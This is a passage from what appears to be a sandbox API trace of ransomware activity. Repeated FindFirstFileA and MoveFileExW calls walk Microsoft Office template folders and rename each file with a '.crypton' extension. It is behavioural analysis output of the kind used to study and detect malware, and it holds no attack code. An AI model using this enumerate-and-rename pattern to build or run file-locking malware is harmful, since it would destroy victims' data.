dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0121.555] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt.crypton"), dwFlags=0x2) returned 1 [0121.933] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt.crypton"), dwFlags=0x2) returned 1 [0122.247] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt.crypton"), dwFlags=0x2) returned 1 [0122.256] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc63b2360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc63b2360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0122.362] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt.crypton"), dwFlags=0x2) returned 1 [0122.664] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt.crypton"), dwFlags=0x2) returned 1 [0122.955] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt.crypton"), dwFlags=0x2) returned 1 [0123.245] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt.crypton"), dwFlags=0x2) returned 1 [0123.530] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt.crypton"), dwFlags=0x2) returned 1 [0123.539] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc6fe5420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc6fe5420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0123.554] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt.crypton"), dwFlags=0x2) returned 1 [0123.572] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt.crypton"), dwFlags=0x2) returned 1 [0123.588] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt.crypton"), dwFlags=0x2) returned 1 [0123.611] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt.crypton"), dwFlags=0x2) returned 1 [0123.626] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt.crypton"), dwFlags=0x2) returned 1 [0123.870] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt.crypton"), dwFlags=0x2) returned 1 [0123.885] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt.crypton"), dwFlags=0x2) returned 1 [0123.900] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt.crypton"), dwFlags=0x2) returned 1 [0123.929] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt.crypton"), dwFlags=0x2) returned 1 [0123.946] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt.crypton"), dwFlags=0x2) returned 1 [0123.960] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt.crypton"), dwFlags=0x2) returned 1 [0123.975] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt.crypton"), dwFlags=0x2) returned 1 [0123.991] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt.crypton"), dwFlags=0x2) returned 1 [0124.025] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt.crypton"), dwFlags=0x2) returned 1 [0124.049] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt.crypton"), dwFlags=0x2) returned 1 [0124.342] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt.crypton"), dwFlags=0x2) returned 1 [0124.862] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt.crypton"), dwFlags=0x2) returned 1 [0125.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt.crypton"), dwFlags=0x2) returned 1 [0125.449] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt.crypton"), dwFlags=0x2) returned 1 [0125.452] GetFileType (hFile=0x20c) returned 0x1 [0125.456] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8231d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc8231d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0125.630] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt.crypton"), dwFlags=0x2) returned 1 [0125.894] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt.crypton"), dwFlags=0x2) returned 1 [0126.015] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx.crypton"), dwFlags=0x2) returned 1 [0126.136] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx.crypton"), dwFlags=0x2) returned 1 [0126.427] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx.crypton"), dwFlags=0x2) returned 1 [0126.569] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx.crypton"), dwFlags=0x2) returned 1 [0126.591] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt.crypton"), dwFlags=0x2) returned 1 [0126.619] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt.crypton"), dwFlags=0x2) returned 1 [0126.639] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt.crypton"), dwFlags=0x2) returned 1 [0126.658] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt.crypton"), dwFlags=0x2) returned 1 [0126.677] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt.crypton"), dwFlags=0x2) returned 1 [0126.695] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt.crypton"), dwFlags=0x2) returned 1 [0126.726] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt.crypton"), dwFlags=0x2) returned 1 [0126.746] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt.crypton"), dwFlags=0x2) returned 1 [0126.764] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt.crypton"), dwFlags=0x2) returned 1 [0126.783] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt.crypton"), dwFlags=0x2) returned 1 [0126.872] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx.crypton"), dwFlags=0x2) returned 1 [0126.985] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx.crypton"), dwFlags=0x2) returned 1 [0127.106] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx.crypton"), dwFlags=0x2) returned 1 [0127.244] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx.crypton"), dwFlags=0x2) returned 1 [0127.258] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx.crypton"), dwFlags=0x2) returned 1 [0127.549] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx.crypton"), dwFlags=0x2) returned 1 [0127.926] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx.crypton"), dwFlags=0x2) returned 1 [0128.286] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx.crypton"), dwFlags=0x2) returned 1 [0128.574] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx.crypton"), dwFlags=0x2) returned 1 [0128.588] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx.crypton"), dwFlags=0x2) returned 1 [0128.606] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx.crypton"), dwFlags=0x2) returned 1 [0128.905] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx.crypton"), dwFlags=0x2) returned 1 [0129.222] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx.crypton"), dwFlags=0x2) returned 1 [0129.306] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx.crypton"), dwFlags=0x2) returned 1 [0129.351] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx.crypton"), dwFlags=0x2) returned 1 [0129.439] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergeletter.dotx.crypton"), dwFlags=0x2) returned 1 [0129.907] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx.crypton"), dwFlags=0x2) returned 1 [0130.112] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityresume.dotx.crypton"), dwFlags=0x2) returned 1 [0130.217] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx.crypton" (normalized: "c:\\program files\\microsoft 